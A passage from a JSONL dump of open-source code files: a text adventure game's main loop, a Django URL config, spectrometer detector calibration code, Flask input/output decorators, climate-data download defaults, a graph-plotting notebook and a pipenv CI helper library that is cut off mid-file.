update(game,current,response):\n c = game[current]\n for e in c[\"exits\"]:\n if response == e[\"exit\"]:\n return e[\"target\"]\n return current\n \n\n# The main function for the game\ndef main():\n current = 'BODY' # The starting location\n end_game = ['POLICE'] # Any of the end-game locations\n\n game = load_files()\n\n while True:\n render(game,current)\n\n for e in end_game:\n if current == e:\n print(\"You and the Police deliberated and discovered that Alice Smith was the one who killed Alan. She invited him up to the roof late at night and purposely loosened the bolts on the railing the previous day. She strangled him and placed the unconcious body up against the broken fence until gravity took over. In order to take credit for her and Alan's project, Alice attempted to shift suspicions from herself to her ex Carson. This is why you should never have an office romance.\")\n break #break out of the while loop\n\n response = get_input()\n\n if response == \"QUIT\" or response == \"Q\":\n break #break out of the while loop\n\n current = update(game,current,response)\n\n print(\"Thanks for playing!\")\n\n# run the main function\nif __name__ == '__main__':\n\tmain()", "source": "Casmic210/02-Text-Adventure", "license": "MIT"}
+{"text": "from django.conf.urls import url\n\nfrom .views import (\n LocationSearchView,\n)\n\nurlpatterns = [\n url(r'^create-location/$', LocationSearchView.as_view(), name='location_create'),\n]\n", "source": "letsmeet-click/letsmeet.click", "license": "MIT"}
+{"text": "# ===============================================================================\n# Copyright 2012 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\n# ============= standard library imports ========================\nfrom random import random\n\nfrom six.moves.configparser import ConfigParser\nfrom traits.api import List, HasTraits, Str, Bool, Float, Property\nfrom traitsui.api import UItem, TableEditor\n# ============= local library imports ==========================\nfrom traitsui.extras.checkbox_column import CheckboxColumn\nfrom traitsui.table_column import ObjectColumn\n\nfrom pychron.core.helpers.traitsui_shortcuts import okcancel_view\nfrom pychron.core.stats.peak_detection import PeakCenterError\nfrom pychron.spectrometer import get_spectrometer_config_path\nfrom pychron.spectrometer.jobs.magnet_sweep import MagnetSweep\nfrom pychron.spectrometer.jobs.peak_center import calculate_peak_center, BasePeakCenter\n\n\nclass ResultsView(HasTraits):\n results = List\n clean_results = Property(depends_on='results')\n\n def _get_clean_results(self):\n return [c for c in self.results if c.enabled]\n\n def traits_view(self):\n cols = [CheckboxColumn(name='enabled'),\n ObjectColumn(name='name'),\n ObjectColumn(name='old_deflection'),\n ObjectColumn(name='new_deflection')]\n\n v = okcancel_view(UItem('results', editor=TableEditor(columns=cols,\n sortable=False)),\n title='Deflection Results')\n return v\n\n\nclass DeflectionResult(HasTraits):\n name = Str\n enabled = Bool(True)\n new_deflection = Float\n old_deflection = Float\n\n def __init__(self, name, o, n, *args, **kw):\n super(DeflectionResult, self).__init__(*args, **kw)\n self.name = name\n self.old_deflection = o\n self.new_deflection = n\n\n\nclass Coincidence(BasePeakCenter, MagnetSweep):\n title = 'Coincidence'\n inform = False\n\n def __init__(self, *args, **kw):\n super(Coincidence, self).__init__(*args, **kw)\n self.window = 0.015\n self.step_width = 0.0005\n self.percent = 80\n\n def _reference_detector_default(self):\n self.additional_detectors = [di.name for di in self.detectors[1:]]\n return self.detectors[0].name\n\n def _post_execute(self):\n \"\"\"\n calculate all peak centers\n\n calculate relative shifts to a reference detector. not necessarily the same\n as the reference detector used for setting the magnet\n \"\"\"\n graph = self.graph\n plot = graph.plots[0]\n\n # time.sleep(0.05)\n\n # wait for graph to fully update\n # time.sleep(0.1)\n\n # def get_peak_center(i, di):\n def get_peak_center(di):\n try:\n lp = plot.plots[di][0]\n except KeyError:\n lp = plot.plots['*{}'.format(di)][0]\n\n xs = lp.index.get_data()\n ys = lp.value.get_data()\n\n cx = None\n if len(xs) and len(ys):\n try:\n result = calculate_peak_center(xs, ys)\n cx = result[0][1]\n except PeakCenterError:\n self.warning('no peak center for {}'.format(di))\n\n return cx\n\n spec = self.spectrometer\n\n centers = {d: get_peak_center(d) for d in self.active_detectors}\n print(centers)\n ref = self.reference_detector\n post = centers[ref]\n if post is None:\n return\n\n results = []\n for di in self.active_detectors:\n di = spec.get_detector(di)\n cen = centers[di.name]\n if cen is None:\n continue\n\n dac_dev = post - cen\n if dac_dev < 0:\n sign = -1\n else:\n sign = 1\n\n if self.spectrometer.simulation:\n dac_dev = -random()\n\n if abs(dac_dev) < 0.001:\n self.info('no offset detected between {} and {}'.format(ref, di.name))\n continue\n\n defl = sign * di.map_dac_to_deflection(abs(dac_dev))\n self.info('{} dac dev. {:0.5f}. converted to deflection voltage {:0.1f}.'.format(di.name, dac_dev, defl))\n\n curdefl = di.deflection\n newdefl = int(curdefl + defl)\n newdefl = max(0, min(newdefl, self.spectrometer.max_deflection))\n\n if newdefl >= 0:\n results.append(DeflectionResult(di.name, curdefl, newdefl))\n\n if not results:\n self.information_dialog('no deflection changes needed')\n else:\n rv = ResultsView(results=results)\n info = rv.edit_traits()\n if info.result:\n config = ConfigParser()\n # p = os.path.join(paths.spectrometer_dir, 'config.cfg')\n p = get_spectrometer_config_path()\n config.read(p)\n for v in rv.clean_results:\n config.set('Deflections', v.name, v.new_deflection)\n det = next((d for d in self.active_detectors if d.lower() == v.name.lower()))\n det = spec.get_detector(det)\n det.deflection = v.new_deflection\n\n with open(p, 'w') as wfile:\n config.write(wfile)\n\n self.spectrometer.clear_cached_config()\n\n# ============= EOF =============================================\n\n# class CoincidenceScan(MagnetScan):\n# start_value = 39\n# stop_value = 40\n# step_value = 0.005\n# title = 'Coincidence Scan'\n# inform = True\n#\n# def _reference_detector_changed(self, new):\n# self.additional_detectors = [di.name for di in self.spectrometer.detectors\n# if di.name != new]\n#\n# def _post_execute(self):\n# \"\"\"\n# calculate all peak centers\n#\n# calculate relative shifts to a reference detector. not necessarily the same\n# as the reference detector used for setting the magnet\n# \"\"\"\n# graph = self.graph\n# plot = graph.plots[0]\n#\n# def get_peak_center(i, di):\n# lp = plot.plots[di.name][0]\n# xs = lp.index.get_data()\n# ys = lp.value.get_data()\n#\n# # result = None\n# cx = None\n# if len(xs) and len(ys):\n# try:\n# result = calculate_peak_center(xs, ys)\n# cx = result[0][1]\n# except PeakCenterError:\n# self.warning('no peak center for {} {}'.format(di.name, di.isotope))\n# # if result is None or isinstance(result, str):\n# # self.warning('no peak center for {} {}'.format(di.name, di.isotope))\n# # else:\n# return cx\n#\n# spec = self.spectrometer\n# centers = dict([(di.name, get_peak_center(i, di))\n# for i, di in enumerate(spec.detectors)])\n#\n# # calculate relative to AX\n# config = ConfigParser()\n# p = os.path.join(paths.spectrometer_dir, 'config.cfg')\n# config.read(open(p, 'r'))\n#\n# ref = self.reference_detector\n# post = centers[ref]\n# if post is None:\n# return\n#\n# no_change = True\n# for di in spec.detectors:\n# cen = centers[di.name]\n# if cen is None:\n# continue\n#\n# dac_dev = post - cen\n# if abs(dac_dev) < 0.001:\n# self.info('no offset detected between {} and {}'.format(ref, di.name))\n# no_change = True\n# continue\n#\n# no_change = False\n#\n# defl = di.map_dac_to_deflection(dac_dev)\n# self.info('{} dac dev. {:0.5f}. converted to deflection voltage {:0.1f}.'.format(di.name, dac_dev, defl))\n#\n# curdefl = di.deflection\n# newdefl = int(curdefl + defl)\n# if newdefl > 0:\n# msg = 'Apply new deflection. {} Current {}. New {}'.format(di.name, curdefl, newdefl)\n# if self.confirmation_dialog(msg):\n# # update the config.cfg deflections\n# config.set('Deflection', di.name, newdefl)\n# di.deflection = newdefl\n#\n# if no_change and self.inform:\n# self.information_dialog('no deflection changes needed')\n# else:\n# config.write(p)\n#\n# def _graph_hook(self, do, intensities, **kw):\n# graph = self.graph\n# if graph:\n# spec = self.spectrometer\n# for di, inte in zip(spec.detectors, intensities):\n# lp = graph.plots[0].plots[di.name][0]\n# ind = lp.index.get_data()\n# ind = np.hstack((ind, do))\n# lp.index.set_data(ind)\n# # print inte\n# val = lp.value.get_data()\n# val = np.hstack((val, inte))\n# # val = val / np.max(val)\n#\n# lp.value.set_data(val)\n#\n# # def _magnet_step_hook(self):\n# # spec = self.spectrometer\n# # spec.magnet.set_dac(di, verbose=False)\n# # if delay:\n# # time.sleep(delay)\n# # intensities = spec.get_intensities()\n# # debug\n# # if globalv.communication_simulation:\n# # inte = peak_generator.next()\n# # intensities = [0], [inte * 1, inte * 2, inte * 3, inte * 4, inte * 5, inte * 6]\n#\n# return intensities\n#\n# def _graph_factory(self):\n# g = Graph(window_title='Coincidence Scan',\n# container_dict=dict(padding=5, bgcolor='lightgray'))\n# g.new_plot(padding=[50, 5, 5, 50],\n# ytitle='Intensity (fA)',\n# xtitle='Operating Voltage (V)')\n#\n# for di in self.spectrometer.detectors:\n# g.new_series(\n# name=di.name,\n# color=di.color)\n#\n# return g\n#\n# def _reference_detector_default(self):\n# self.additional_detectors = self.detectors[1:]\n# return self.detectors[0]\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"}
+{"text": "from typing import Type, Union\nfrom flask import jsonify\nfrom werkzeug.wrappers import Response\nfrom werkzeug.exceptions import BadRequest, InternalServerError\nfrom marshmallow import Schema\nfrom marshmallow.exceptions import ValidationError\n\nfrom flask_restplus.model import Model\nfrom flask_restplus import fields, reqparse, inputs\nfrom flask_accepts.utils import for_swagger, get_default_model_name\n\n\ndef accepts(\n *args,\n model_name: str = None,\n schema: Union[Schema, Type[Schema], None] = None,\n many: bool = False,\n api=None,\n use_swagger: bool = True,\n):\n \"\"\"\n Wrap a Flask route with input validation using a combination of reqparse from\n Flask-RESTplus and/or Marshmallow schemas\n\n Args:\n *args: any number of dictionaries containing parameters to pass to\n reqparse.RequestParser().add_argument(). A single string parameter may also be\n provided that is used as the model name. By default these parameters\n will be parsed using the default logic\n however, if a schema is provided then the JSON body is assumed to correspond\n to it and will not be parsed for query params\n model_name (str): the name to pass to api.Model, can optionally be provided as a str argument to *args\n schema (Marshmallow.Schema, optional): A Marshmallow Schema that will be used to parse JSON\n data from the request body and\n store in request.parsed_bj. Defaults to None.\n many (bool, optional): The Marshmallow schema `many` parameter, which will\n return a list of the corresponding schema objects when set to True.\n\n Returns:\n The wrapped route\n \"\"\"\n\n _check_deprecate_many(many)\n\n # If an api was passed in, we need to use its parser so Swagger is aware\n if api:\n _parser = api.parser()\n else:\n _parser = reqparse.RequestParser(bundle_errors=True)\n\n query_params = [arg for arg in args if isinstance(arg, dict)]\n\n for arg in args: # check for positional string-arg, which is the model name\n if isinstance(arg, str):\n model_name = arg\n break\n for qp in query_params:\n if qp[\"type\"] == bool:\n # mapping native bool is necessary so that string \"false\" is not truthy\n _parser.add_argument(qp[\"name\"], type=inputs.boolean, location=\"values\")\n else:\n params = {**qp, \"location\": qp.get(\"location\") or \"values\"}\n _parser.add_argument(**params)\n\n if schema:\n schema = _get_or_create_schema(schema, many=many)\n\n def decorator(func):\n from functools import wraps\n\n # Check if we are decorating a class method\n _IS_METHOD = _is_method(func)\n\n @wraps(func)\n def inner(*args, **kwargs):\n from flask import request\n\n error = schema_error = None\n # Handle arguments\n try:\n request.parsed_args = _parser.parse_args()\n except Exception as e:\n error = e\n\n # Handle Marshmallow schema\n if schema:\n try:\n obj = schema.load(request.get_json())\n request.parsed_obj = obj\n except ValidationError as ex:\n schema_error = ex.messages\n if schema_error:\n error = error or BadRequest(\n f\"Invalid parsing error: {schema_error}\"\n )\n if hasattr(error, \"data\"):\n error.data[\"errors\"].update({\"schema_errors\": schema_error})\n else:\n error.data = {\"schema_errors\": schema_error}\n\n # If any parsing produced an error, combine them and re-raise\n if error:\n raise error\n\n return func(*args, **kwargs)\n\n # Add Swagger\n if api and use_swagger and _IS_METHOD:\n if schema:\n body = for_swagger(\n schema=schema,\n model_name=model_name or get_default_model_name(schema),\n api=api,\n operation=\"load\",\n )\n params = {\n 'expect': [body, _parser],\n }\n inner = api.doc(**params)(inner)\n elif _parser:\n inner = api.expect(_parser)(inner)\n return inner\n\n return decorator\n\n\ndef responds(\n *args,\n model_name: str = None,\n schema=None,\n many: bool = False,\n api=None,\n status_code: int = 200,\n validate: bool = False,\n description: str = None,\n use_swagger: bool = True,\n):\n \"\"\"\n Serialize the output of a function using the Marshmallow schema to dump the results.\n Note that `schema` should be the type, not an instance -- the `responds` decorator\n will internally handle creation of the schema. If the outputted value is already of\n type flask.Response, it will be passed along without further modification.\n\n Args:\n schema (bool, optional): Marshmallow schema with which to serialize the output\n of the wrapped function.\n many (bool, optional): (DEPRECATED) The Marshmallow schema `many` parameter, which will\n return a list of the corresponding schema objects when set to True.\n\n Returns:\n The output of schema(many=many).dumps() of the wrapped function\n \"\"\"\n from functools import wraps\n\n from flask_restplus import reqparse\n\n _check_deprecate_many(many)\n\n # If an api was passed in, we need to use its parser so Swagger is aware\n if api:\n _parser = api.parser()\n else:\n _parser = reqparse.RequestParser(bundle_errors=True)\n\n query_params = [arg for arg in args if isinstance(arg, dict)]\n\n for arg in args: # check for positional string-arg, which is the model name\n if isinstance(arg, str):\n model_name = arg\n break\n for qp in query_params:\n _parser.add_argument(**qp, location=\"values\")\n\n if schema:\n schema = _get_or_create_schema(schema, many=many)\n\n model_name = model_name or get_default_model_name(schema)\n model_from_parser = _model_from_parser(model_name=model_name, parser=_parser)\n\n def decorator(func):\n\n # Check if we are decorating a class method\n _IS_METHOD = _is_method(func)\n\n @wraps(func)\n def inner(*args, **kwargs):\n rv = func(*args, **kwargs)\n\n # If a Flask response has been made already, it is passed through unchanged\n if isinstance(rv, Response):\n return rv\n if schema:\n serialized = schema.dump(rv)\n\n # Validate data if asked to (throws)\n if validate:\n errs = schema.validate(serialized)\n if errs:\n raise InternalServerError(\n description=\"Server attempted to return invalid data\"\n )\n else:\n from flask_restplus import marshal\n\n serialized = marshal(rv, model_from_parser)\n\n if not _is_method(func):\n # Regular route, need to manually create Response\n return jsonify(serialized), status_code\n return serialized, status_code\n\n # Add Swagger\n if api and use_swagger and _IS_METHOD:\n if schema:\n api_model = for_swagger(\n schema=schema, model_name=model_name, api=api, operation=\"dump\"\n )\n if schema.many is True:\n api_model = [api_model]\n\n inner = _document_like_marshal_with(\n api_model,\n status_code=status_code,\n description=description,\n )(inner)\n\n elif _parser:\n api.add_model(model_name, model_from_parser)\n inner = _document_like_marshal_with(\n model_from_parser, status_code=status_code\n )(inner)\n\n return inner\n\n return decorator\n\n\ndef _check_deprecate_many(many: bool = False):\n if many:\n import warnings\n\n warnings.simplefilter(\"always\", DeprecationWarning)\n warnings.warn(\n \"The 'many' parameter is deprecated in favor of passing these \"\n \"arguments to an actual instance of Marshmallow schema (i.e. \"\n \"prefer @responds(schema=MySchema(many=True)) instead of \"\n \"@responds(schema=MySchema, many=True))\",\n DeprecationWarning,\n stacklevel=3,\n )\n\n\ndef _get_or_create_schema(\n schema: Union[Schema, Type[Schema]], many: bool = False\n) -> Schema:\n if isinstance(schema, Schema):\n return schema\n return schema(many=many)\n\n\ndef _model_from_parser(model_name: str, parser: reqparse.RequestParser) -> Model:\n from flask_restplus import fields\n\n base_type_map = {\n \"integer\": fields.Integer,\n \"string\": fields.String,\n \"number\": fields.Float,\n }\n type_factory = {\n \"integer\": lambda arg: base_type_map[\"integer\"],\n \"string\": lambda arg: base_type_map[\"string\"],\n \"number\": lambda arg: base_type_map[\"number\"],\n \"array\": lambda arg: fields.List(base_type_map[arg[\"items\"][\"type\"]]),\n }\n return Model(\n model_name,\n {arg[\"name\"]: type_factory[arg[\"type\"]](arg) for arg in parser.__schema__},\n )\n\n\ndef merge(first: dict, second: dict) -> dict:\n return {**first, **second}\n\n\ndef _document_like_marshal_with(\n values, status_code: int = 200, description: str = None\n):\n description = description or \"Success\"\n\n def inner(func):\n doc = {\"responses\": {status_code: (description, values)}, \"__mask__\": True}\n func.__apidoc__ = merge(getattr(func, \"__apidoc__\", {}), doc)\n return func\n\n return inner\n\n\ndef _is_method(func):\n \"\"\"\n Check is function is defined inside a class.\n ASSUMES YOU ARE USING THE CONVENTION THAT FIRST ARG IS 'self'\n \"\"\"\n import inspect\n\n sig = inspect.signature(func)\n return \"self\" in sig.parameters\n", "source": "VolodyaEsk/flask_accepts", "license": "BSD-3-Clause"}
+{"text": "# -- coding: utf-8 --\n\"\"\"Collection of defaults assumed by the download script.\n\nThe defaults are all the allowed values for each of the variables.\nMore details are available are Copernicus Climate Data Store [0].\n\n[0] https://cds.climate.copernicus.eu/cdsapp\n\"\"\"\n\n\ndef time():\n return [\n \"00:00\",\n \"01:00\",\n \"02:00\",\n \"03:00\",\n \"04:00\",\n \"05:00\",\n \"06:00\",\n \"07:00\",\n \"08:00\",\n \"09:00\",\n \"10:00\",\n \"11:00\",\n \"12:00\",\n \"13:00\",\n \"14:00\",\n \"15:00\",\n \"16:00\",\n \"17:00\",\n \"18:00\",\n \"19:00\",\n \"20:00\",\n \"21:00\",\n \"22:00\",\n \"23:00\",\n ]\n\n\ndef pl():\n return [\n \"1\",\n \"2\",\n \"3\",\n \"5\",\n \"7\",\n \"10\",\n \"20\",\n \"30\",\n \"50\",\n \"70\",\n \"100\",\n \"125\",\n \"150\",\n \"175\",\n \"200\",\n \"225\",\n \"250\",\n \"300\",\n \"350\",\n \"400\",\n \"450\",\n \"500\",\n \"550\",\n \"600\",\n \"650\",\n \"700\",\n \"750\",\n \"775\",\n \"800\",\n \"825\",\n \"850\",\n \"875\",\n \"900\",\n \"925\",\n \"950\",\n \"975\",\n \"1000\",\n ]\n\n\ndef year():\n return [\n \"1979\",\n \"1980\",\n \"1981\",\n \"1982\",\n \"1983\",\n \"1984\",\n \"1985\",\n \"1986\",\n \"1987\",\n \"1988\",\n \"1989\",\n \"1990\",\n \"1991\",\n \"1992\",\n \"1993\",\n \"1994\",\n \"1995\",\n \"1996\",\n \"1997\",\n \"1998\",\n \"1999\",\n \"2000\",\n \"2001\",\n \"2002\",\n \"2003\",\n \"2004\",\n \"2005\",\n \"2006\",\n \"2007\",\n \"2008\",\n \"2009\",\n \"2010\",\n \"2011\",\n \"2012\",\n \"2013\",\n \"2014\",\n \"2015\",\n \"2016\",\n \"2017\",\n \"2018\",\n \"2019\",\n \"2020\",\n ]\n\n\ndef month():\n return [\n \"01\",\n \"02\",\n \"03\",\n \"04\",\n \"05\",\n \"06\",\n \"07\",\n \"08\",\n \"09\",\n \"10\",\n \"11\",\n \"12\",\n ]\n\n\ndef day():\n return [\n \"01\",\n \"02\",\n \"03\",\n \"04\",\n \"05\",\n \"06\",\n \"07\",\n \"08\",\n \"09\",\n \"10\",\n \"11\",\n \"12\",\n \"13\",\n \"14\",\n \"15\",\n \"16\",\n \"17\",\n \"18\",\n \"19\",\n \"20\",\n \"21\",\n \"22\",\n \"23\",\n \"24\",\n \"25\",\n \"26\",\n \"27\",\n \"28\",\n \"29\",\n \"30\",\n \"31\",\n ]\n", "source": "ucyo/ml-ecmwf", "license": "MIT"}
+{"text": "# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:percent\n# text_representation:\n# extension: .py\n# format_name: percent\n# format_version: '1.3'\n# jupytext_version: 1.3.2\n# kernelspec:\n# display_name: hcii2020\n# language: python\n# name: hcii2020\n# ---\n\n# %%\nimport networkx as nx\nimport pandas as pd\nimport os\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\n\n# %%\n# configurations for reference\nconfigs = pd.DataFrame(\n {\n 'ConfigNr': range(1, 19),\n 'FriendRecTechnique': ['Hyb', 'NoN', 'Rdm'] * 6,\n 'UnfriendThresh': (['low'] * 3 + ['medium'] * 3 + ['high'] * 3) * 2,\n 'AgentCount': [100] * 9 + [1000] * 9\n }\n)\n\n\n# %%\n# don't use for now...\ndef read_graphs(config_df, n_graphs=11):\n graphs = {}\n for idx in range(len(config_df)):\n cfg = config_df.iloc[idx, 1] + '_' + config_df.iloc[idx, 2] + '_' + str(config_df.iloc[idx, 3])\n graphs[cfg] = {}\n graph_file_list = [\n os.path.join('dataexchange', 'BAv2_run' + str(idx + 1).zfill(2), filename) \n for filename in os.listdir(\n os.path.join(\n 'dataexchange', 'BAv2_run' + str(idx + 1).zfill(2)\n )\n ) \n if 'graph' in filename\n ]\n for g in range(n_graphs):\n graphs[cfg]['graph' + str(g + 1).zfill(2)] = nx.read_gml(graph_file_list[g], label=None)\n return graphs\n\n\n# %%\nG = nx.read_gml(os.path.join('dataexchange', 'BAv2_run01', 'graph_11.gml'), label=None)\n\n# %%\nplt.figure(figsize=(10, 10))\nnx.draw_kamada_kawai(G, arrowsize=3, node_size=30)\n", "source": "digitalemuendigkeit/hci2020patrick", "license": "MIT"}
+{"text": "from __future__ import print_function, absolute_import\n\nfrom .nasbench_101 import NasBench101SearchSpace\n\n\n__factory = {\n 'nasbench_101': NasBench101SearchSpace\n}\n\n\ndef names():\n return sorted(__factory.keys())\n\n\ndef create(name, root, *args, **kwargs):\n \"\"\"\n Create a dataset instance.\n\n Parameters\n ----------\n name : str\n The search sapce name.\n root : str\n The path to the dataset directory.\n \"\"\"\n if name not in __factory:\n raise KeyError(\"Unknown search space:\", name)\n return __factory[name](root, *args, **kwargs)\n", "source": "czyczyyzc/GATES", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# File: library.py\n#\n# Copyright 2018 Costas Tyfoxylos\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to\n# deal in the Software without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n# sell copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n#\n\nimport json\nimport logging\nimport os\nimport shlex\nimport shutil\nimport sys\nimport stat\nimport tempfile\nfrom contextlib import contextmanager\nfrom dataclasses import dataclass\nfrom subprocess import Popen, PIPE\n\nfrom pipenv.project import Project\nfrom configuration import LOGGERS_TO_DISABLE, ENVIRONMENT_VARIABLES, LOGGING_LEVEL\n\nlogging_level = os.environ.get('LOGGING_LEVEL', '').upper() or LOGGING_LEVEL\nif logging_level == 'DEBUG':\n print(f'Current executing python version is {sys.version_info}')\n\n# needed to support alternate .venv path if PIPENV_PIPFILE is set\n# Loading PIPENV related variables early, but not overriding if already loaded.\nfor name, value in ENVIRONMENT_VARIABLES.items():\n if name.startswith('PIPENV_'):\n if not os.environ.get(name):\n if logging_level == 'DEBUG':\n print(f'Loading PIPENV related variable {name} : {value}')\n os.environ[name] = value\n else:\n if logging_level == 'DEBUG':\n print(f'Variable {name} already loaded, not overwriting...')\n\n# Provides possible python2.7 compatibility, not really a goal\ntry:\n FileNotFoundError\nexcept NameError:\n FileNotFoundError = IOError\n\n# This is the main prefix used for logging\nLOGGER_BASENAME = '''_CI.library'''\nLOGGER = logging.getLogger(LOGGER_BASENAME)\nLOGGER.addHandler(logging.NullHandler())\n\n\n@dataclass()\nclass Package:\n name: str\n version: str\n index: str\n markers: str\n hashes: list\n\nREQUIREMENTS_HEADER = \"\"\"# \n# Please do not manually update this file since the requirements are managed\n# by pipenv through Pipfile and Pipfile.lock . \n#\n# This file is created and managed automatically by the template and it is left\n# here only for backwards compatibility reasons with python's ecosystem.\n#\n# Please use Pipfile to update the requirements.\n#\n\"\"\"\n\n\n# The sequence here is important because it makes sure\n# that the virtual environment is loaded as soon as possible\ndef is_venv_created():\n with open(os.devnull, 'w') as dev_null:\n venv = Popen(['pipenv', '--venv'], stdout=PIPE, stderr=dev_null).stdout.read().strip()\n return True if venv else False\n\n\ndef is_venv_active():\n return hasattr(sys, 'real_prefix')\n\n\ndef get_project_root_path():\n current_file_path = os.path.dirname(os.path.abspath(__file__))\n return os.path.abspath(os.path.join(current_file_path, '..', '..'))\n\n\ndef get_venv_parent_path():\n alternate_pipefile_location = os.environ.get('PIPENV_PIPFILE', None)\n if alternate_pipefile_location:\n venv_parent = os.path.abspath(os.path.dirname(alternate_pipefile_location))\n else:\n venv_parent = os.path.abspath('.')\n return venv_parent\n\n\ndef activate_virtual_environment():\n os.chdir(get_project_root_path())\n activation_script_directory = 'Scripts' if sys.platform == 'win32' else 'bin'\n venv_parent = get_venv_parent_path()\n activation_file = os.path.join(venv_parent, '.venv', activation_script_directory, 'activate_this.py')\n if is_venv_created():\n if sys.version_info[0] == 3:\n with open(activation_file) as f:\n exec(f.read(), {'__file__': activation_file})\n elif sys.version_info[0] == 2:\n execfile(activation_file, dict(__file__=activation_file))\n\n\n# After this everything is executed inside a virtual environment\nif not is_venv_active():\n activate_virtual_environment()\n\ntry:\n import coloredlogs\n colored_logs = True\nexcept ImportError:\n colored_logs = False\n\n\nif is_venv_active():\n import semver\n\n\ndef get_emojize():\n try:\n from emoji import emojize\n except ImportError:\n print('Unable to import emojize from created virtual environment.\\n'\n 'Please make sure that the python version is 3.7 and that the virtual environment is properly created.\\n'\n 'If not please remove the .venv directory and try again. Exiting...')\n raise SystemExit(1)\n return emojize\n\n\ndef setup_logging(level):\n if colored_logs:\n coloredlogs.install(level=level.upper())\n else:\n LOGGER = logging.getLogger()\n handler = logging.StreamHandler()\n handler.setLevel(level.upper())\n formatter = logging.Formatter(('%(asctime)s - '\n '%(name)s - '\n '%(levelname)s - '\n '%(message)s'))\n handler.setFormatter(formatter)\n LOGGER.addHandler(handler)\n LOGGER.setLevel(level.upper())\n for logger in LOGGERS_TO_DISABLE:\n logging.getLogger(logger).disabled = True\n\n\n# TODO extend debug logging in the following methods\n\ndef load_environment_variables(environment_variables):\n LOGGER.debug('Loading environment variables')\n for name, value in environment_variables.items():\n if name in os.environ.keys():\n LOGGER.debug('Environment variable \"%s\" already loaded, not overriding', name)\n else:\n LOGGER.debug('Loading environment variable \"%s\" with value \"%s\"', name, value)\n os.environ[name] = value\n\n\ndef load_dot_env_file():\n if os.path.isfile('.env'):\n LOGGER.info('Loading environment variables from .env file')\n variables = {}\n with open('.env', 'r') as dot_env:\n for line in dot_env.read().splitlines():\n if line.strip().startswith('export '):\n line = line.replace('export ', '')\n key, value = line.strip().split('=', 1)\n variables[key.strip()] = value.strip()\n load_environment_variables(variables)\n\n\ndef get_binary_path(executable):\n \"\"\"Gets the software name and returns the path of the binary.\"\"\"\n if sys.platform == 'win32':\n if executable == 'start':\n return executable\n executable = executable + '.exe'\n if executable in os.listdir('.'):\n binary = os.path.join(os.getcwd(), executable)\n else:\n binary = next((os.path.join(path, executable)\n for path in os.environ['PATH'].split(os.pathsep)\n if os.path.isfile(os.path.join(path, executable))), None)\n else:\n venv_parent = get_venv_parent_path()\n venv_bin_path = os.path.join(venv_parent, '.venv', 'bin')\n if not venv_bin_path in os.environ.get('PATH'):\n if logging_level == 'DEBUG':\n print(f'Adding path {venv_bin_path} to environment PATH variable')\n os.environ['PATH'] = os.pathsep.join([os.environ['PATH'], venv_bin_path])\n binary = shutil.which(executable)\n return binary if binary else None\n\n\ndef validate_binary_prerequisites(software_list):\n LOGGER.debug('Trying to validate binary prerequisites')\n success = True\n for executable in software_list:\n if not get_binary_path(executable):\n success = False\n LOGGER.error('Executable \"%s\" not found', executable)\n else:\n LOGGER.debug('Executable \"%s\" found in the path!', executable)\n return success\n\n\ndef validate_environment_variable_prerequisites(variable_list):\n LOGGER.debug('Trying to validate prerequisites')\n success = True\n for variable in variable_list:\n if not os.environ.get(variable):\n success = False\n LOGGER.error('Environment variable \"%s\" not found', variable)\n else:\n LOGGER.debug('Environment variable \"%s\" found in the path!', variable)\n return success\n\n\ndef interpolate_executable(command):\n command_list = command.split()\n if len(command_list) == 1:\n command_list = [command_list[0], ]\n try:\n LOGGER.debug(f'Getting executable path for {command_list[0]}')\n command_list[0] = get_binary_path(command_list[0])\n command = ' '.join(command_list)\n except IndexError:\n pass\n return command\n\n\ndef execute_command(command):\n LOGGER.debug('Executing command \"%s\"', command)\n command = interpolate_executable(command)\n if sys.platform == 'win32':\n process = Popen(command, shell=True, bufsize=1)\n else:\n command = shlex.split(command)\n LOGGER.debug('Command split to %s for posix shell', command)\n process = Popen(command, bufsize=1)\n process.communicate()\n return True if not process.returncode else False\n\n\ndef open_file(path):\n open_programs = {'darwin': 'open',\n 'linux': 'xdg-open',\n 'win32': 'start'}\n executable = get_binary_path(open_programs.get(sys.platform))\n command = '{} {}'.format(executable, path)\n return execute_command(command)\n\n\ndef clean_up(items):\n if not isinstance(items, (list, tuple)):\n items = [items]\n for item in items:\n if os.path.isdir(item):\n LOGGER.debug('Trying to remove directory \"%s\"', item)\n shutil.rmtree(item)\n elif os.path.isfile(item):\n LOGGER.debug('Trying to remove file \"%s\"', item)\n os.unlink(item)\n else:\n LOGGER.warning('Unable to remove file or directory \"%s\"', item)\n\n\ndef get_top_level_dependencies():\n packages = list(Project().parsed_pipfile.get('packages', {}).keys())\n dev_packages = list(Project().parsed_pipfile.get('dev-packages', {}).keys())\n return packages, dev_packages\n\n\n\ndef get_all_packages():\n try:\n venv_parent = get_venv_parent_path()\n lock_file = 